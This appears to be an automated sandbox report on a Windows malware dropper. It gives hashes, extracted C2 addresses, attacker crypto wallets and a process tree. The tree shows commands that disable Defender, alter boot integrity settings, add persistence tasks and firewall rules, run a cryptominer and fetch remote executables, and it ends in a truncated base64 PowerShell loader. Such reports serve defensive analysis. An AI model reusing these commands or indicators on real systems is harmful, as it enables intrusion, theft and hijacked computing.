Resubmissions
09-04-2024 08:32
240409-kfg77aaf85 1009-04-2024 08:32
240409-kfglnaaf84 1009-04-2024 08:32
240409-kffz5aea2y 1009-04-2024 08:32
240409-kffpcsaf79 1011-03-2024 08:03
240311-jxm94afe6y 1010-03-2024 15:15
240310-snee9sfd3y 10Analysis
-
max time kernel
88s -
max time network
544s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
-
submitted
09-04-2024 08:32
Errors
General
-
Target
FUCKER.exe
-
Size
10KB
-
MD5
2a94f3960c58c6e70826495f76d00b85
-
SHA1
e2a1a5641295f5ebf01a37ac1c170ac0814bb71a
-
SHA256
2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
-
SHA512
fbf55b55fcfb12eb8c029562956229208b9e8e2591859d6336c28a590c92a4d0f7033a77c46ef6ebe07ddfca353aba1e84b51907cd774beab148ee901c92d62f
-
SSDEEP
192:xlwayyHOXGc20L7BIW12n/ePSjiTlzkGu8stYcFwVc03KY:xlwwHe/20PKn/cLTlHuptYcFwVc03K
Malware Config
Extracted
xworm
91.92.249.37:9049
aMtkXNimPlkESDx9
Extracted
phorphiex
http://185.215.113.66/
0xAa3ea4838e8E3F6a1922c6B67E3cD6efD1ff175b
THRUoPK7oYqF7YyKZJvPYwTH35JsPZVPto
1Hw9tx4KyTq4oRoLVhPb4hjDJcLhEa4Tn6
qr89hag2967ef604ud3lw4pq8hmn69n46czwdnx3ut
XtxFdsKkRN3oVDXtN2ipcHeNi87basT2sL
LXMNcn9D8FQKzGNLjdSyR9dEM8Rsh9NzyX
rwn7tb5KQjXEjH42GgdHWHec5PPhVgqhSH
ARML6g7zynrwUHJbFJCCzMPiysUFXYBGgQ
48jYpFT6bT8MTeph7VsyzCQeDsGHqdQNc2kUkRFJPzfRHHjarBvBtudPUtParMkDzZbYBrd3yntWBQcsnVBNeeMbN9EXifg
3PL7YCa4akNYzuScqQwiSbtTP9q9E9PLreC
3FerB8kUraAVGCVCNkgv57zTBjUGjAUkU3
D9AJWrbYsidS9rAU146ifLRu1fzX9oQYSH
t1gvVWHnjbGTsoWXEyoTFojc2GqEzBgvbEn
bnb1cgttf7t5hu7ud3c436ufhcmy59qnkd09adqczd
bc1q0fusmmgycnhsd5cadsuz2hk8d4maausjfjypqg
bitcoincash:qr89hag2967ef604ud3lw4pq8hmn69n46czwdnx3ut
GAUCC7ZBSU2KJMHXOZD6AP5LOBGKNDPCDNRYP2CO2ACR63YCSUBNT5QE
Signatures
-
Detect Xworm Payload 2 IoCs
-
Detect ZGRat V1 21 IoCs
-
Glupteba
Glupteba is a modular loader written in Golang with various components.
-
Glupteba payload 7 IoCs
-
Phorphiex
Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
-
Stealc
Stealc is an infostealer written in C++.
-
Windows security bypass 2 TTPs 25 IoCs
-
Xworm
Xworm is a remote access trojan written in C#.
-
ZGRat
ZGRat is remote access trojan written in C#.
-
Modifies boot configuration data using bcdedit 14 IoCs
-
Downloads MZ/PE file
-
Modifies Windows Firewall 2 TTPs 1 IoCs
-
Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
-
Drops startup file 2 IoCs
-
Executes dropped EXE 18 IoCs
-
Loads dropped DLL 30 IoCs
-
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Uses the VBS compiler for execution 1 TTPs
-
Windows security modification 2 TTPs 28 IoCs
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 8 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Suspicious use of SetThreadContext 2 IoCs
-
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
-
Drops file in Windows directory 9 IoCs
-
Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 4 IoCs
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 6 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 1 IoCs
-
Enumerates processes with tasklist 1 TTPs 2 IoCs
-
Modifies data under HKEY_USERS 64 IoCs
-
Modifies system certificate store 2 TTPs 5 IoCs
-
Runs net.exe
-
Runs ping.exe 1 TTPs 3 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 10 IoCs
-
Suspicious behavior: SetClipboardViewer 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 10 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\FUCKER.exe"C:\Users\Admin\AppData\Local\Temp\FUCKER.exe"1⤵
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\syncUpd.exe"C:\Users\Admin\AppData\Local\Temp\Files\syncUpd.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Local\Temp\FCBAEHCAEG.exe"3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\FCBAEHCAEG.exe"C:\Users\Admin\AppData\Local\Temp\FCBAEHCAEG.exe"4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C ping 2.2.2.2 -n 1 -w 3000 > Nul & Del C:\Users\Admin\AppData\Local\Temp\FCBAEHCAEG.exe5⤵
-
C:\Windows\SysWOW64\PING.EXEping 2.2.2.2 -n 1 -w 30006⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Local\Temp\HJJECBKKEC.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\ISetup10.exe"C:\Users\Admin\AppData\Local\Temp\Files\ISetup10.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\Files\d21cbe21e38b385a41a68c5e6dd32f4c.exe"C:\Users\Admin\AppData\Local\Temp\Files\d21cbe21e38b385a41a68c5e6dd32f4c.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\Files\d21cbe21e38b385a41a68c5e6dd32f4c.exe"C:\Users\Admin\AppData\Local\Temp\Files\d21cbe21e38b385a41a68c5e6dd32f4c.exe"3⤵
- Windows security bypass
- Executes dropped EXE
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"4⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes5⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe4⤵
- Executes dropped EXE
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F5⤵
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f5⤵
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll5⤵
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"5⤵
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER6⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:6⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:6⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows6⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe6⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe6⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 06⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn6⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 16⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}6⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast6⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -timeout 06⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}6⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v5⤵
- Modifies boot configuration data using bcdedit
-
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeC:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe5⤵
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F5⤵
- Creates scheduled task(s)
-
C:\Windows\windefender.exe"C:\Windows\windefender.exe"5⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)6⤵
-
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)7⤵
- Launches sc.exe
-
C:\Users\Admin\AppData\Local\Temp\Files\appdata.exe"C:\Users\Admin\AppData\Local\Temp\Files\appdata.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\Files\first.exe"C:\Users\Admin\AppData\Local\Temp\Files\first.exe"2⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'first.exe'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Files\first.exe'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\Files\pinf.exe"C:\Users\Admin\AppData\Local\Temp\Files\pinf.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\2089531801.exeC:\Users\Admin\AppData\Local\Temp\2089531801.exe3⤵
- Windows security bypass
- Executes dropped EXE
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\350630453.exeC:\Users\Admin\AppData\Local\Temp\350630453.exe4⤵
- Windows security bypass
- Executes dropped EXE
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: SetClipboardViewer
-
C:\Users\Admin\AppData\Local\Temp\2191930072.exeC:\Users\Admin\AppData\Local\Temp\2191930072.exe5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\2528922622.exeC:\Users\Admin\AppData\Local\Temp\2528922622.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\1435824446.exeC:\Users\Admin\AppData\Local\Temp\1435824446.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\2101319596.exeC:\Users\Admin\AppData\Local\Temp\2101319596.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\208925959.exeC:\Users\Admin\AppData\Local\Temp\208925959.exe4⤵
- Windows security bypass
- Executes dropped EXE
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\2762831398.exeC:\Users\Admin\AppData\Local\Temp\2762831398.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\837431945.exeC:\Users\Admin\AppData\Local\Temp\837431945.exe4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c shutdown /r5⤵
-
C:\Windows\SysWOW64\shutdown.exeshutdown /r6⤵
-
C:\Users\Admin\AppData\Local\Temp\200922306.exeC:\Users\Admin\AppData\Local\Temp\200922306.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\1619820342.exeC:\Users\Admin\AppData\Local\Temp\1619820342.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\swiiii.exe"C:\Users\Admin\AppData\Local\Temp\Files\swiiii.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2080 -s 2564⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\Files\ma.exe"C:\Users\Admin\AppData\Local\Temp\Files\ma.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp82D6.tmp.bat""3⤵
- Loads dropped DLL
-
C:\Windows\system32\timeout.exetimeout 34⤵
- Delays execution with timeout.exe
-
C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"5⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"6⤵
- Creates scheduled task(s)
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o fr-zephyr.miningocean.org:5342 -u ZEPHYR2dNRNd7BpuKZoXnqZu7WiTzoMXE8EhzsTJDnXV9ZDksih16M2EazfmCb3ax9Z78hH9iJMxSQE1NBkPCK6W3M8SBGcc7ZC2z -p work -a rx/0 --donate-level 1 --opencl5⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\riviera_tour_sochi.pdf.exe"C:\Users\Admin\AppData\Local\Temp\Files\riviera_tour_sochi.pdf.exe"2⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Roaming\Riviera_tour_Sochi.pdf"3⤵
-
C:\Users\Admin\AppData\Roaming\Violator.exeC:\Users\Admin\AppData\Roaming\Violator.exe3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k move Jacob Jacob.bat & Jacob.bat & exit4⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist5⤵
- Enumerates processes with tasklist
-
C:\Windows\SysWOW64\findstr.exefindstr /I "wrsa.exe opssvc.exe"5⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist5⤵
- Enumerates processes with tasklist
-
C:\Windows\SysWOW64\findstr.exefindstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"5⤵
-
C:\Windows\SysWOW64\cmd.execmd /c md 140705⤵
-
C:\Windows\SysWOW64\cmd.execmd /c copy /b 14070\Cumshot.pif + Os + Personals + Productivity + Green + Treasures 14070\Cumshot.pif5⤵
-
C:\Windows\SysWOW64\cmd.execmd /c copy /b Vegas + Commentary + Dairy 14070\E5⤵
-
C:\Users\Admin\AppData\Local\Temp\14070\Cumshot.pif14070\Cumshot.pif 14070\E5⤵
-
C:\Windows\SysWOW64\cmd.execmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TrackFuse.url" & echo URL="C:\Users\Admin\AppData\Local\FuseTrack Solutions\TrackFuse.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TrackFuse.url" & exit6⤵
-
C:\Windows\SysWOW64\cmd.execmd /c schtasks.exe /create /tn "Necessary" /tr "wscript 'C:\Users\Admin\AppData\Local\FuseTrack Solutions\TrackFuse.js'" /sc minute /mo 3 /F6⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks.exe /create /tn "Necessary" /tr "wscript 'C:\Users\Admin\AppData\Local\FuseTrack Solutions\TrackFuse.js'" /sc minute /mo 3 /F7⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\PING.EXEping -n 5 127.0.0.15⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2000 -s 5124⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\Files\elevator.exe"C:\Users\Admin\AppData\Local\Temp\Files\elevator.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\Files\jeditor.exe"C:\Users\Admin\AppData\Local\Temp\Files\jeditor.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\WEBDOWN.EXE"C:\Users\Admin\AppData\Local\Temp\Files\WEBDOWN.EXE" http://www.ojang.pe.kr/CALENDAR/DOWN/JEDITOR/JEDITOR.EXE "C:/Users/Admin/AppData/Local/Temp/Files/jeditor.exe" RUN3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\jeditor.exeC:\Users\Admin\AppData\Local\Temp\Files\jeditor.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\up.exe"C:\Users\Admin\AppData\Local\Temp\Files\up.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\KB824105-x86-ENU.exe"C:\Users\Admin\AppData\Local\Temp\Files\KB824105-x86-ENU.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c net use3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\net.exenet use4⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\cp.exe"C:\Users\Admin\AppData\Local\Temp\Files\cp.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\net.exe"C:\Users\Admin\AppData\Local\Temp\Files\net.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\timeSync.exe"C:\Users\Admin\AppData\Local\Temp\Files\timeSync.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Local\Temp\IEGCAAKFBA.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\IEGCAAKFBA.exe"C:\Users\Admin\AppData\Local\Temp\IEGCAAKFBA.exe"4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C ping 2.2.2.2 -n 1 -w 3000 > Nul & Del C:\Users\Admin\AppData\Local\Temp\IEGCAAKFBA.exe5⤵
-
C:\Windows\SysWOW64\PING.EXEping 2.2.2.2 -n 1 -w 30006⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Local\Temp\IIIECAAKEC.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\VLTKBacdau.exe"C:\Users\Admin\AppData\Local\Temp\Files\VLTKBacdau.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\crypted_33cb9091.exe"C:\Users\Admin\AppData\Local\Temp\Files\crypted_33cb9091.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3736 -s 5403⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\Files\LummaC2.exe"C:\Users\Admin\AppData\Local\Temp\Files\LummaC2.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2860 -s 1243⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\Files\Ama2.exe"C:\Users\Admin\AppData\Local\Temp\Files\Ama2.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\alex12.exe"C:\Users\Admin\AppData\Local\Temp\Files\alex12.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\configurationValue\fate.exe"C:\Users\Admin\AppData\Roaming\configurationValue\fate.exe"4⤵
-
C:\Users\Admin\AppData\Roaming\configurationValue\olehpsp.exe"C:\Users\Admin\AppData\Roaming\configurationValue\olehpsp.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\PCSupport.exe"C:\Users\Admin\AppData\Local\Temp\Files\PCSupport.exe"2⤵
-
C:\Users\Admin\AppData\Local\PhantomSoft\Support\winvnc.exeC:\Users\Admin\AppData\Local\PhantomSoft\Support\winvnc.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\$77_loader.exe"C:\Users\Admin\AppData\Local\Temp\Files\$77_loader.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\_tlsc4ar.cmdline"3⤵
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4616.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC4605.tmp"4⤵
-
C:\Windows\system32\chcp.com"C:\Windows\system32\chcp.com" 4373⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\strt.exe"C:\Users\Admin\AppData\Local\Temp\Files\strt.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\yoffens_crypted_EASY.exe"C:\Users\Admin\AppData\Local\Temp\Files\yoffens_crypted_EASY.exe"2⤵
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=yoffens_crypted_EASY.exe&platform=0009&osver=5&isServer=0&shimver=4.0.30319.03⤵
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3604 CREDAT:275457 /prefetch:24⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\bd2.exe"C:\Users\Admin\AppData\Local\Temp\Files\bd2.exe"2⤵
-
C:\Windows\SysWOW64\wscript.exe"wscript.exe" "C:\Users\Admin\start.vbs"3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\temp.bat" "4⤵
-
C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICB